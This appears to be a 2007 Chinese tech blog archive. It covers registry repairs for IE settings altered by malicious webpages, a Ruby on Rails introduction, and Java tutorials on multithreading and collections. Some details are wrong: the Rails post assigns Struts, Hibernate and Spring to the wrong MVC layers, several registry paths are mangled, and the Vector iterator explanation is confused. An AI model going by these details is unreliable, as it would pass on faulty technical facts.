         6. 去掉注册表编辑器被锁定:这是因为KEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System下的DWORD值“DisableRegistryTools”被修改为“1”的缘故,将其键值恢复为“0”即可恢复注册表的使用。

         win2000系统:Windows Registry Editor Version 5.00 [Hkey_current_user\\Software\\microsoft\\windows\\currentversion\\Policies\\system] "DisableRegistryTools"=dword:00000000 win98/me系统:REGEDIT4

    face=Verdana>     [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System] "DisableRegistryTools"=dword:00000000将以上代码copy到记事本中, 取一个任意名字的。reg文件,比如recover.reg,双击运行可以解除你的锁定状态。注意:“REGEDIT4”一定要大写,并且它的后面一定要空一行,还有,“REGEDIT4”中的“4”和“T”之间一定不能有空格,否则将前功尽弃!

        7. IE默认搜索引擎被修改:HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\\Search\\CustomizeSearch HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\\Search\\SearchAssistant

         8. 查看源文件“菜单被禁用:恶意网页修改了注册表,具体的位置为:(1)在注册表HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer下建立子键”Restrictions“,然后在”Restrictions“下面建立两DWORD值:”NoViewSource“和”NoBrowserContextMenu“,并为这两个DWORD值赋值为”1“。

         (2)在注册表 HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\InternetExplorer\\Restrictions下,将两个DWORD值:“NoViewSource”和“NoBrowserContextMenu”的键值都改为了“1”。第2点中提到的注册表其实相当于第1点中提到的注册表的分支,修改第1点中所说的注册表键值,第2点中注册表键值随之改变。  具体解决办法为:将以下内容另存为后缀名为reg的注册表文件,比方说unlock.reg,双击unlock.reg导入注册表,不用重启电脑 ,重新运行IE就会发现IE的功能恢复正常了。

         REGEDIT4

         [HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet Explorer \\Restrictions]“NoViewSource”=dword:00000000 "NoBrowserContextMenu"=dword:00000000 [HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer \\Restrictions]“NoViewSource”=dword:00000000“NoBrowserContextMenu”=dword:00000000

         要特别注意的是,在你编制的注册表文件unlock.reg中,“REGEDIT4”一定要大写,并且它的后面一定要空一行,还有,“REGEDIT4”中的“4”和“T”之间一定不能有空格,否则将前功尽弃!许多朋友写注册表文件之所以不成功,就是因为没有注意到上面所说的内容,这回该注意点喽。请注意如果你是Win2000或WinXP用户,请将 “REGEDIT4”改为Windows Registry Editor Version 5.00.

         ★ 可以在IE中做一些设置以便永远不进恶意站点:

         打开IE,点击“工具”→“Internet选项”→“内容”→“分级审查”,点“启用 ”按钮,会调出“分级审查”对话框,然后点击“许可站点”标签,输入不想去的网站网址,如输入:http://***.****.com,按“从不”按钮,再点击“确定”即大功告成!

         9. IE不能打开新窗口的解决办法:(1.)点击“开始”→“运行”,在弹出的“运行”对话框中输入“regsvr32 actxprxy.dll”(注意输入时没有引号),然后点击“确定”按钮,接着会出现一个信息对话框“DllRegisterServer in actxprxy.dll succeeded”;在该对话框中点“确定”按钮;(2.)再次点击“开始”→“运行”,在弹出的“运行”对话框中输入“regsvr32 shdocvw.dll”(注意输入时没有引号),然后点击“确定”按钮,接着会出现一个信息对话框“DllRegisterServer in shdocvw.dll succeeded”,在该对话框中点“确定”按钮;(3.)重新启动Windows,

         10. 右键功能失效:HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions,将其DWORD值"NoBrowserContextMenu"的值改为0.

         11. 篡改地址栏文字:解决办法:1.地址栏下的文字。在HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\ToolBar下找到键值LinksFolderName,将其中的内容删去即可。

         2.地址栏中无用的地址。在HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypeURLs中删除无用的键值即可。

         12. IE窗口定时弹出:点击"开始-运行-输入msconfig",选择"启动",把里面后缀为hta的都勾掉,重启。

         13. 修改IE工具栏:对工具栏按钮点右键选“自定义”,在“当前工具栏按钮”下拉框中选定不需要的按钮后点击“删除”即可。

         要去掉多余的地址列表:[HKEY_CURRENT_USERSoftwareWicrosoftInternet ExplorerTypeURLs]主键,将右部窗口中“url1”、“url2”等键值名全部删除即可。

         要修复链接栏标题,首先展开[HKEY_CURRENT_USERSoftwareWicrosoftInternet ExplorerToolbar]主键,在右部窗口中对键值名“LinksFolderName”双击,修改其键值为欲显示的信息,或直接将该键值名删除,链接栏的标题将恢复为默认的“链接”字样。

         恢复Internet选项卡:在“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer”下在右边的窗口中找到一个二进制值“NoFolderOptions”,并设值为“00 00 00 00”。

         桌面上的图标全部消失:HKEY_CURRENT_USER\\ Software\\Microsoft\\Windows\\ CurrentVersion\\Policies\\Explorer,找到“NoDesktop”值项,右键单击它,选择“修改”(或者干脆删除也可以),把它的值改为0,然后重新启动电脑。

    posted @ 2007-07-12 03:45 jadmin 阅读(48) | 评论 (0)编辑 收藏

    这只是个windows系统下不让人注意的操作,有不少朋友为此摸不着头脑,所以今天整理下给大家参考参考。呵呵

    IE会记录你上次关闭IE时候的设置.将IE最大化后关闭(关闭所有窗口),再打开就是最大化的了。
    或者 在IE的快捷方式(注意!必须是快捷方式!!)上单击鼠标右键,打开属性,在弹出的窗口中有运行方式这一栏,选择最大化,然后确定就可以了。

    怎么样?如果还是不行的话,你就用鼠标把窗口拖成最大,然后再关点IE,即重新启动IE。就可以了

    posted @ 2007-07-03 13:02 jadmin 阅读(67) | 评论 (0)编辑 收藏

            RoR是Ruby on Rails的缩写。Ruby on Rails是一个用于编写网络应用程序的框架,它基于计算机软件语言Ruby,给程序开发人员提供强大的框架支持。Ruby on Rails包括两部分内容:Ruby语言和Rails框架。

    什么是Ruby?
          Ruby语言是一种动态语言,它与Python、Smalltalk和Perl这3种编程语言有些类似。Ruby语言起源于日本,它的研发者是日本人松本行弘(Matsumoto Yukihiro)。松本行弘在1993年开始着手Ruby语言的研发工作,他开发Ruby语言的初衷是为了提高编程的效率。1995年12月Matz推出了Ruby的第一个版本Ruby 0.95。

    Ruby语言的主要特点如下。
    1.纯的面向对象语言
    在Ruby中,一切皆是对象。下面举一个例子来更直观地说明Ruby语言的这一特点。
    在Java中,求一个数的绝对值的代码如下。
    int c = Math.abs(-20);
    而在Ruby语言中,一切皆是对象,也就是说“-20”这个数也是一个对象,因此,求一个数绝对值的Ruby代码形式如下。
    c = -20.abs
    这样的代码编写方式是不是更形象一些呢?

    2.解释型脚本语言
    Ruby语言是解释型脚本语言,它既有脚本语言强大的字符串处理能力和正则表达式,又不失解释型语言的动态性。一方面,在最初设计Ruby语言时,Ruby的研发者松本行弘考虑到文字处理方面的需要,他借鉴了Perl语言在文字处理方面的成功经验。另一方面,松本行弘将Ruby语言设定为一种解释型语言,Ruby的动态性使得由Ruby语言编写的程序不需要事先编译即可直接运行,这为程序的调试带来了方便。同时,这一特点可以实现开发过程中的快速反馈。

    3.其他特点
    (1)动态载入。可以在运行时候重定义自己,类也可以在运行时继承或取消继承。
    (2)自动内存管理机制。
    (3)多精度整数。
    (4)迭代器和闭包。
    (5)开源项目。有大量活跃的社区支持Ruby语言。

    什么是Rails?
            虽然Ruby语言有很多优点,但是一直以来,其流行的范围也仅限于日本。直到2004年,Ruby才逐渐被世界上其他地区的人们所认识,那么是什么让Ruby语言走向世界的呢?是Rails。
          Rails框架首次提出是在2004年7月,它的研发者是26岁的丹麦人David Heinemeier Hansson。不同于已有复杂的Web 开发框架,Rails是一个更符合实际需要而且更高效的Web开发框架。Rails结合了PHP体系的优点(快速开发)和Java体系的优点(程序规整),因此,Rails在其提出后不长的时间里就受到了业内广泛的关注。

    Rails框架主要有如下的6大特点。
    1.全栈式的MVC框架
          Rails是一个全栈式的MVC框架,换句话说,通过Rails可以实现MVC模式中的各个层次,并使它们无缝地协同运转起来。
          在实际开发一个MVC模式的Web应用项目时,如果使用Java开发,需要用到Struts(Model层)、Hibernate(Controller层)和Spring(View层)3个框架,而且需要额外整合3个框架开发出的内容。而使用Ruby语言开发相同的项目时,只需要用到Rails框架就可以完成。

    2.约定优于配置
          为了说明各个对象之间的关联关系,一般的Web应用开发框架往往采用写入XML配置文件的方法。这种方式虽然可以解决一些问题,但是却带来了管理上的混乱。
          Rails对此的态度是约定优于配置,这意味着在Rails中不会出现XML配置文件。Rails使用Web应用多年来积累的各种常见约定(更具体地说是命名规则)来代替XML配置文件,而在Rails内部的映射与发现机制根据这些约定可以实现对象之间的关联。在第1章中,通过Rails的映射与发现机制实现了数据表与Ruby对象之间的关联。

    3.更少的代码
          使用约定来代替XML配置文件说明Rails本身完成了大量的底层工作,这意味着使用更少的代码来实现应用程序是极有可能的。此外,代码量的缩减也减小了出现bug的可能性,降低了维护程序和升级程序的难度。

    4.生成器
          Rails使用的实时映射技术和元编程技术,免去了开发人员在开发过程中编写大量样板文件代码的烦恼。在少数需要使用样板文件代码的时候,开发人员可以通过Rails内建的生成器脚本实时创建,而不再是通过手工编写。Rails的这个特点可以使开发人员更专注于系统的逻辑结构,而不必为一些琐碎的细节所烦扰。

    5.零周转时间
          对已有的Web应用系统进行修改后,其一般需要经过配置、编译、发布、重新设置、测试等一系列步骤才能投入使用,这明显浪费了许多时间。而使用Rails开发Web应用系统,可以通过浏览器即时查看程序运行结果,从而节约了大量的时间。

    6.支架系统
          Rails的支架系统可以自动为任何相关的数据库表创建一套包含标准CRUD操作和前台视图的系统。通过支架系统,开发人员可以方便快捷地操纵数据库中的数据表。此外,Rails也允许开发人员使用自己设计的代码或视图来替换自动生成的代码和视图。

          目前,Rails的最新版本是2005年12月13日发布的v1.0.0。从RoR正式提出到v1.0.0的发布,RoR在一年多的时间里受到了业内人士的广泛关注。RoR受到广泛关注主要有如下两个原因:首先,RoR的开发效率高(部署容易)、功能丰富(支持Ajax等流行应用),有消息称对于相同的Web开发项目,使用RoR开发比使用Java体系架构开发快5~10倍;此外,令人不可思议的高性能是其受到关注的另一个重要原因,根据CSDN上转载的新闻称使用RoR开发出来的项目性能,比基于Struts+Hibernate+Spring的Java应用还要高15%~20%。

          RoR当前遇到的主要问题是使用RoR搭建的大型商业应用还很少,究其原因可以概括为两点:第一,从开发能力的角度,RoR是一个基于Ruby语言的轻型Web开发框架,很多开发者对其是否适合大型应用难以把握。第二,本身使用RoR开发的大型商业应用较少,使得后来者持观望态度。

          综合分析来看,RoR的发展前景还是很光明的。RoR在短时间内取得了巨大的成就,它打破了Web开发领域的固有观念,方便快捷的开发方式使其被广泛接受。而事实上,现在已有几家跨国公司正在使用RoR开发自己的Web应用程序,并且有多家大型公司在考虑使用RoR进行Web应用开发。

    ROR开发环境的配置见如下链接

    http://hi.baidu.com/jadmin/blog/item/a0d7f2ef456aca34acafd584.html

    posted @ 2007-07-03 12:56 jadmin 阅读(63) | 评论 (0)编辑 收藏
    一:理解多线程

    多线程是这样一种机制,它允许在程序中并发执行多个指令流,每个指令流都称为一个线程,彼此间互相独立。


    线程又称为轻量级进程,它和进程一样拥有独立的执行控制,由操作系统负责调度,区别在于线程没有独立的存储空间,而是和所属进程中的其它线程共享一个存储空间,这使得线程间的通信远较进程简单。

    多个线程的执行是并发的,也就是在逻辑上“同时”,而不管是否是物理上的“同时”。如果系统只有一个CPU,那么真正的“同时”是不可能的,但是由于CPU的速度非常快,用户感觉不到其中的区别,因此我们也不用关心它,只需要设想各个线程是同时执行即可。

    多线程和传统的单线程在程序设计上最大的区别在于,由于各个线程的控制流彼此独立,使得各个线程之间的代码是乱序执行的,由此带来的线程调度,同步等问题,将在以后探讨。

    二:在Java中实现多线程

    我们不妨设想,为了创建一个新的线程,我们需要做些什么?很显然,我们必须指明这个线程所要执行的代码,而这就是在Java中实现多线程我们所需要做的一切!

    真是神奇!Java是如何做到这一点的?通过类!作为一个完全面向对象的语言,Java提供了类 java.lang.Thread 来方便多线程编程,这个类提供了大量的方法来方便我们控制自己的各个线程,我们以后的讨论都将围绕这个类进行。


    那么如何提供给 Java 我们要线程执行的代码呢?让我们来看一看 Thread 类。Thread 类最重要的方法是 run() ,它为Thread 类的方法 start() 所调用,提供我们的线程所要执行的代码。为了指定我们自己的代码,只需要覆盖它!

    方法一:继承 Thread 类,覆盖方法
    run()

    我们在创建的 Thread 类的子类中重写 run() ,加入线程所要执行的代码即可。
    下面是一个例子:

    public class MyThread extends Thread {

    int count= 1, number;

    public MyThread(int num) {

    number = num;

    System.out.println("创建线程
    " + number);

    }

    public void run() {


    while(true) {

    System.out.println("线程 " + number + ":计数
    " + count);

    if(++count== 6) return;

    }

    }

    public static void main(String args[]) {

    for(int i = 0; i < 5; i++) new MyThread(i+1).start();

    }

    }


    这种方法简单明了,符合大家的习惯,但是,它也有一个很大的缺点,那就是如果我们的类已经从一个类继承(如小程序必须继承自 Applet 类),则无法再继承 Thread 类,这时如果我们又不想建立一个新的类,应该怎么办呢?

    我们不妨来探索一种新的方法:我们不创建 Thread 类的子类,而是直接使用它,那么我们只能将我们的方法作为参数传递给 Thread 类的实例,有点类似回调函数。但是 Java 没有指针,我们只能传递一个包含这个方法的类的实例。那么如何限制这个类必须包含这一方法呢?当然是使用接口!(虽然抽象类也可满足,但是需要继承,而我们之所以要采用这种新方法,不就是为了避免继承带来的限制吗?)


    Java 提供了接口 java.lang.Runnable 来支持这种方法。

    方法二:实现 Runnable 接口


    Runnable 接口只有一个方法 run(),我们声明自己的类实现 Runnable 接口并提供这一方法,将我们的线程代码写入其中,就完成了这一部分的任务。

    但是 Runnable 接口并没有任何对线程的支持,我们还必须创建 Thread 类的实例,这一点通过 Thread 类的构造函数
    public Thread(Runnable target);来实现。

    下面是一个例子:

    public class MyThread implements Runnable {

    int count= 1, number;

    public MyThread(int num) {

    number = num;

    System.out.println("创建线程
    " + number);

    }

    public void run() {

    while(true) {

    System.out.println("线程 " + number + ":计数
    " + count);

    if(++count== 6) return;

    }

    }

    public static void main(String args[]) {

    for(int i = 0; i < 5; i++) new Thread(new MyThread(i+1)).start();

    }

    }

    严格地说,创建 Thread 子类的实例也是可行的,但是必须注意的是,该子类必须没有覆盖 Thread 类的 run 方法,否则该线程执行的将是子类的 run 方法,而不是我

    们用以实现Runnable 接口的类的 run 方法,对此大家不妨试验一下。

    使用 Runnable 接口来实现多线程使得我们能够在一个类中包容所有的代码,有利于封装,它的缺点在于,我们只能使用一套代码,若想创建多个线程并使各个线程执行不同的代码,则仍必须额外创建类,如果这样的话,在大多数情况下也许还不如直接用多个类分别继承 Thread 来得紧凑。


    综上所述,两种方法各有千秋,大家可以灵活运用。

    下面让我们一起来研究一下多线程使用中的一些问题。

    三:线程的四种状态

    1. 新状态:线程已被创建但尚未执行(start() 尚未被调用)。

    2. 可执行状态:线程可以执行,虽然不一定正在执行。CPU 时间随时可能被分配给该线程,从而使得它执行。

    3. 死亡状态:正常情况下 run() 返回使得线程死亡。调用 stop()或 destroy() 亦有同样效果,但是不被推荐,前者会产生异常,后者是强制终止,不会释放锁。

    4. 阻塞状态:线程不会被分配 CPU 时间,无法执行。

    四:线程的优先级


    线程的优先级代表该线程的重要程度,当有多个线程同时处于可执行状态并等待获得 CPU 时间时,线程调度系统根据各个线程的优先级来决定给谁分配 CPU 时间,优先级高的线程有更大的机会获得 CPU 时间,优先级低的线程也不是没有机会,只是机会要小一些罢了。


    你可以调用 Thread 类的方法 getPriority() 和 setPriority()来存取线程的优先级,线程的优先级界于1(MIN_PRIORITY)和10(MAX_PRIORITY)之间,缺省是5(NORM_PRIORITY)。


    五:线程的同步

    由于同一进程的多个线程共享同一片存储空间,在带来方便的同时,也带来了访问冲突这个严重的问题。Java语言提供了专门机制以解决这种冲突,有效避免了同一个数据对象被多个线程同时访问。


    由于我们可以通过 private 关键字来保证数据对象只能被方法访问,所以我们只需针对方法提出一套机制,这套机制就是 synchronized 关键字,它包括两种用法:synchronized 方法和 synchronized 块。



    1. synchronized 方法:通过在方法声明中加入 synchronized关键字来声明 synchronized 方法。如:

    public synchronized void accessVal(int newVal);


    synchronized 方法控制对类成员变量的访问:每个类实例对应一把锁,每个 synchronized 方法都必须获得调用该方法的类实例的锁方能执行,否则所属线程阻塞,方

    法一旦执行,就独占该锁,直到从该方法返回时才将锁释放,此后被阻塞的线程方能获得该锁,重新进入可执行状态。这种机制确保了同一时刻对于每一个类实例,其所有声明为 synchronized 的成员函数中至多只有一个处于可执行状态(因为至多只有一个能够获得该类实例对应的锁),从而有效避免了类成员变量的访问冲突(只要所有可能访问类成员变量的方法均被声明为 synchronized)。


    在 Java 中,不光是类实例,每一个类也对应一把锁,这样我们也可将类的静态成员函数声明为 synchronized ,以控制其对类的静态成员变量的访问。
    synchronized 方法的缺陷:若将一个大的方法声明为synchronized 将会大大影响效率,典型地,若将线程类的方法 run() 声明为 synchronized ,由于在线程的整个生命期内它一直在运行,因此将导致它对本类任何 synchronized 方法的调用都永远不会成功。当然我们可以通过将访问类成员变量的代码放到专门的方法中,将其声明为 synchronized ,并在主方法中调用来解决这一问题,但是 Java 为我们提供了更好的解决办法,那就是 synchronized 块。

    2. synchronized 块:通过 synchronized关键字来声明synchronized 块。语法如下:

    synchronized(syncObject) {
    //允许访问控制的代码
    }


    synchronized 块是这样一个代码块,其中的代码必须获得对象 syncObject (如前所述,可以是类实例或类)的锁方能执行,具体机制同前所述。由于可以针对任意代码块,且可任意指定上锁的对象,故灵活性较高。


    六:线程的阻塞


    为了解决对共享存储区的访问冲突,Java 引入了同步机制,现在让我们来考察多个线程对共享资源的访问,显然同步机制已经不够了,因为在任意时刻所要求的资源不一定已经准备好了被访问,反过来,同一时刻准备好了的资源也可能不止一个。为了解决这种情况下的访问控制问题,Java 引入了对阻塞机制的支持。


    阻塞指的是暂停一个线程的执行以等待某个条件发生(如某资源就绪),学过操作系统的同学对它一定已经很熟悉了。Java 提供了大量方法来支持阻塞,下面让我们逐一分析。


    1. sleep() 方法:sleep() 允许 指定以毫秒为单位的一段时间作为参数,它使得线程在指定的时间内进入阻塞状态,不能得到CPU 时间,指定的时间一过,线程重新进入可执行状态。

    典型地,sleep() 被用在等待某个资源就绪的情形:测试发现条件不满足后,让线程阻塞一段时间后重新测试,直到条件满足为止。


    2. suspend() 和 resume() 方法:两个方法配套使用,suspend()使得线程进入阻塞状态,并且不会自动恢复,必须其对应的resume() 被调用,才能使得线程重新进入可执行状态。典型地,suspend() 和 resume() 被用在等待另一个线程产生的结果的情形:测试发现结果还没有产生后,让线程阻塞,另一个线程产生了结果后,调用 resume() 使其恢复。


    3. yield() 方法:yield() 使得线程放弃当前分得的 CPU 时间,但是不使线程阻塞,即线程仍处于可执行状态,随时可能再次分得 CPU 时间。调用 yield() 的效果等价于调度程序认为该线程已执行了足够的时间从而转到另一个线程。


    4. wait() 和 notify() 方法:两个方法配套使用,wait() 使得线程进入阻塞状态,它有两种形式,一种允许 指定以毫秒为单位的一段时间作为参数,另一种没有参数,前者当对应的 notify() 被调用或者超出指定时间时线程重新进入可执行状态,后者则必须对应的 notify() 被调用。

    初看起来它们与 suspend() 和 resume() 方法对没有什么分别,但是事实上它们是截然不同的。区别的核心在于,前面叙述的所有方法,阻塞时都不会释放占用的锁(如果占用了的话),而这一对方法则相反。


    上述的核心区别导致了一系列的细节上的区别。

    首先,前面叙述的所有方法都隶属于 Thread 类,但是这一对却直接隶属于 Object 类,也就是说,所有对象都拥有这一对方法。初看起来这十分不可思议,但是实际上却是很自然的,因为这一对方法阻塞时要释放占用的锁,而锁是任何对象都具有的,调用任意对象的 wait() 方法导致线程阻塞,并且该对象上的锁被释放。而调用 任意对象的notify()方法则导致因调用该对象的 wait() 方法而阻塞的线程中随机选择的一个解除阻塞(但要等到获得锁后才真正可执行)。

    其次,前面叙述的所有方法都可在任何位置调用,但是这一对方法却必须在 synchronized 方法或块中调用,理由也很简单,只有在synchronized 方法或块中当前线程才占有锁,才有锁可以释放。同样的道理,调用这一对方法的对象上的锁必须为当前线程所拥有,这样才有锁可以释放。因此,这一对方法调用必须放置在这样的 synchronized 方法或块中,该方法或块的上锁对象就是调用这一对方法的对象。若不满足这一条件,则程序虽然仍能编译,但在运行时会出现IllegalMonitorStateException 异常。


    wait() 和 notify() 方法的上述特性决定了它们经常和synchronized 方法或块一起使用,将它们和操作系统的进程间通信机制作一个比较就会发现它们的相似性:synchronized方法或块提供了类似于操作系统原语的功能,它们的执行不会受到多线程机制的干扰,而这一对方法则相当于 block 和wakeup 原语(这一对方法均声明为 synchronized)。它们的结合使得我们可以实现操作系统上一系列精妙的进程间通信的算法(如信号量算法),并用于解决各种复杂的线程间通信问题。


    关于 wait() 和 notify() 方法最后再说明两点:

    第一:调用 notify() 方法导致解除阻塞的线程是从因调用该对象的 wait() 方法而阻塞的线程中随机选取的,我们无法预料哪一个线程将会被选择,所以编程时要特别小心,避免因这种不确定性而产生问题。

    第二:除了 notify(),还有一个方法 notifyAll() 也可起到类似作用,唯一的区别在于,调用 notifyAll() 方法将把因调用该对象的 wait() 方法而阻塞的所有线程一次性全部解除阻塞。当然,只有获得锁的那一个线程才能进入可执行状态。



    谈到阻塞,就不能不谈一谈死锁,略一分析就能发现,suspend() 方法和不指定超时期限的 wait() 方法的调用都可能产生死锁。遗憾的是,Java 并不在语言级别上支持死锁的避免,我们在编程中必须小心地避免死锁。


    以上我们对 Java 中实现线程阻塞的各种方法作了一番分析,我们重点分析了 wait() 和 notify() 方法,因为它们的功能最强大,使用也最灵活,但是这也导致了它们的效率较低,较容易出错。实际使用中我们应该灵活使用各种方法,以便更好地达到我们的目的。



    七:守护线程


    守护线程是一类特殊的线程,它和普通线程的区别在于它并不是应用程序的核心部分,当一个应用程序的所有非守护线程终止运行时,即使仍然有守护线程在运行,应用程序也将终止,反之,只要有一个非守护线程在运行,应用程序就不会终止。守护线程一般被用于在后台为其它线程提供服务。


    可以通过调用方法 isDaemon() 来判断一个线程是否是守护线程,也可以调用方法 setDaemon() 来将一个线程设为守护线程。



    八:线程组


    线程组是一个 Java 特有的概念,在 Java 中,线程组是类ThreadGroup 的对象,每个线程都隶属于唯一一个线程组,这个线程组在线程创建时指定并在线程的整个生命期内都不能更改。你可以通过调用包含 ThreadGroup 类型参数的 Thread 类构造函数来指定线程属的线程组,若没有指定,则线程缺省地隶属于名为 system 的系统线程组。


    在 Java 中,除了预建的系统线程组外,所有线程组都必须显式创建。


    在 Java 中,除系统线程组外的每个线程组又隶属于另一个线程组,你可以在创建线程组时指定其所隶属的线程组,若没有指定,则缺省地隶属于系统线程组。这样,所有线程组组成了一棵以系统线程组为根的树。


    Java 允许我们对一个线程组中的所有线程同时进行操作,比如我们可以通过调用线程组的相应方法来设置其中所有线程的优先级,也可以启动或阻塞其中的所有线程。


    Java 的线程组机制的另一个重要作用是线程安全。线程组机制允许我们通过分组来区分有不同安全特性的线程,对不同组的线程进行不同的处理,还可以通过线程组的分层结构来支持不对等安全措施的采用。Java 的 ThreadGroup 类提供了大量的方法来方便我们对线程组树中的每一个线程组以及线程组中的每一个线程进行操作。


    九:总结


    在这一讲中,我们一起学习了 Java 多线程编程的方方面面,包括创建线程,以及对多个线程进行调度、管理。我们深刻认识到了多线程编程的复杂性,以及线程切换开销带来的多线程程序的低效性,这也促使我们认真地思考一个问题:我们是否需要多线程?何时需要多线程?


    多线程的核心在于多个代码块并发执行,本质特点在于各代码块之间的代码是乱序执行的。我们的程序是否需要多线程,就是要看这是否也是它的内在特点。

    假如我们的程序根本不要求多个代码块并发执行,那自然不需要使用多线程;假如我们的程序虽然要求多个代码块并发执行,但是却不要求乱序,则我们完全可以用一个循环来简单高效地实现,也不需要使用多线程;只有当它完全符合多线程的特点时,多线程机制对线程间通信和线程管理的强大支持才能有用武之地,这时使用多线程才是值得的。
    posted @ 2007-07-01 03:40 jadmin 阅读(71) | 评论 (0)编辑 收藏
      线性表,链表,哈希表是常用的数据结构,在进行Java开发时,JDK已经为我们提供了一系列相应的类来实现基本的数据结构。这些类均在java.util包中。本文试图通过简单的描述,向读者阐述各个类的作用以及如何正确使用这些类。

    Collection
    ├List
    │├LinkedList
    │├ArrayList
    │└Vector
    │ └Stack
    └Set
    Map
    ├Hashtable
    ├HashMap
    └WeakHashMap

    Collection接口
      Collection是最基本的集合接口,一个Collection代表一组Object,即Collection的元素(Elements)。一些 Collection允许相同的元素而另一些不行。一些能排序而另一些不行。Java SDK不提供直接继承自Collection的类, Java SDK提供的类都是继承自Collection的“子接口”如List和Set。
      所有实现Collection接口的类都必须提供两个标准的构造函数:无参数的构造函数用于创建一个空的Collection,有一个Collection参数的构造函数用于创建一个新的 Collection,这个新的Collection与传入的Collection有相同的元素。后一个构造函数允许用户复制一个Collection。
      如何遍历Collection中的每一个元素?不论Collection的实际类型如何,它都支持一个iterator()的方法,该方法返回一个迭代子,使用该迭代子即可逐一访问Collection中每一个元素。典型的用法如下:
        Iterator it = collection.iterator(); // 获得一个迭代子
        while(it.hasNext()) {
          Object obj = it.next(); // 得到下一个元素
        }
      由Collection接口派生的两个接口是List和Set。

    List接口
      List是有序的Collection,使用此接口能够精确的控制每个元素插入的位置。用户能够使用索引(元素在List中的位置,类似于数组下标)来访问List中的元素,这类似于Java的数组。
    和下面要提到的Set不同,List允许有相同的元素。
      除了具有Collection接口必备的iterator()方法外,List还提供一个listIterator()方法,返回一个 ListIterator接口,和标准的Iterator接口相比,ListIterator多了一些add()之类的方法,允许添加,删除,设定元素,还能向前或向后遍历。
      实现List接口的常用类有LinkedList,ArrayList,Vector和Stack。

    LinkedList类
      LinkedList实现了List接口,允许null元素。此外LinkedList提供额外的get,remove,insert方法在 LinkedList的首部或尾部。这些操作使LinkedList可被用作堆栈(stack),队列(queue)或双向队列(deque)。
      注意LinkedList没有同步方法。如果多个线程同时访问一个List,则必须自己实现访问同步。一种解决方法是在创建List时构造一个同步的List:
        List list = Collections.synchronizedList(new LinkedList(...));

    ArrayList类
      ArrayList实现了可变大小的数组。它允许所有元素,包括null。ArrayList没有同步。
    size,isEmpty,get,set方法运行时间为常数。但是add方法开销为分摊的常数,添加n个元素需要O(n)的时间。其他的方法运行时间为线性。
      每个ArrayList实例都有一个容量(Capacity),即用于存储元素的数组的大小。这个容量可随着不断添加新元素而自动增加,但是增长算法并没有定义。当需要插入大量元素时,在插入前可以调用ensureCapacity方法来增加ArrayList的容量以提高插入效率。
      和LinkedList一样,ArrayList也是非同步的(unsynchronized)。

    Vector类
      Vector非常类似ArrayList,但是Vector是同步的。由Vector创建的Iterator,虽然和ArrayList创建的 Iterator是同一接口,但是,因为Vector是同步的,当一个Iterator被创建而且正在被使用,另一个线程改变了Vector的状态(例如,添加或删除了一些元素),这时调用Iterator的方法时将抛出ConcurrentModificationException,因此必须捕获该异常。

    Stack 类
      Stack继承自Vector,实现一个后进先出的堆栈。Stack提供5个额外的方法使得 Vector得以被当作堆栈使用。基本的push和pop方法,还有peek方法得到栈顶的元素,empty方法测试堆栈是否为空,search方法检测一个元素在堆栈中的位置。Stack刚创建后是空栈。

    Set接口
      Set是一种不包含重复的元素的Collection,即任意的两个元素e1和e2都有e1.equals(e2)=false,Set最多有一个null元素。
      很明显,Set的构造函数有一个约束条件,传入的Collection参数不能包含重复的元素。
      请注意:必须小心操作可变对象(Mutable Object)。如果一个Set中的可变元素改变了自身状态导致Object.equals(Object)=true将导致一些问题。

    Map接口
      请注意,Map没有继承Collection接口,Map提供key到value的映射。一个Map中不能包含相同的key,每个key只能映射一个 value。Map接口提供3种集合的视图,Map的内容可以被当作一组key集合,一组value集合,或者一组key-value映射。

    Hashtable类
      Hashtable继承Map接口,实现一个key-value映射的哈希表。任何非空(non-null)的对象都可作为key或者value。
      添加数据使用put(key, value),取出数据使用get(key),这两个基本操作的时间开销为常数。
    Hashtable 通过initial capacity和load factor两个参数调整性能。通常缺省的load factor 0.75较好地实现了时间和空间的均衡。增大load factor可以节省空间但相应的查找时间将增大,这会影响像get和put这样的操作。
    使用Hashtable的简单示例如下,将1,2,3放到Hashtable中,他们的key分别是”one”,”two”,”three”:
        Hashtable numbers = new Hashtable();
        numbers.put(“one”, new Integer(1));
        numbers.put(“two”, new Integer(2));
        numbers.put(“three”, new Integer(3));
      要取出一个数,比如2,用相应的key:
        Integer n = (Integer)numbers.get(“two”);
        System.out.println(“two = ” + n);
      由于作为key的对象将通过计算其散列函数来确定与之对应的value的位置,因此任何作为key的对象都必须实现hashCode和equals方法。hashCode和equals方法继承自根类Object,如果你用自定义的类当作key的话,要相当小心,按照散列函数的定义,如果两个对象相同,即obj1.equals(obj2)=true,则它们的hashCode必须相同,但如果两个对象不同,则它们的hashCode不一定不同,如果两个不同对象的hashCode相同,这种现象称为冲突,冲突会导致操作哈希表的时间开销增大,所以尽量定义好的hashCode()方法,能加快哈希表的操作。
      如果相同的对象有不同的hashCode,对哈希表的操作会出现意想不到的结果(期待的get方法返回null),要避免这种问题,只需要牢记一条:要同时复写equals方法和hashCode方法,而不要只写其中一个。
      Hashtable是同步的。

    HashMap类
      HashMap和Hashtable类似,不同之处在于HashMap是非同步的,并且允许null,即null value和null key。,但是将HashMap视为Collection时(values()方法可返回Collection),其迭代子操作时间开销和HashMap的容量成比例。因此,如果迭代操作的性能相当重要的话,不要将HashMap的初始化容量设得过高,或者load factor过低。

    WeakHashMap类
      WeakHashMap是一种改进的HashMap,它对key实行“弱引用”,如果一个key不再被外部所引用,那么该key可以被GC回收。

    总结
      如果涉及到堆栈,队列等操作,应该考虑用List,对于需要快速插入,删除元素,应该使用LinkedList,如果需要快速随机访问元素,应该使用ArrayList。
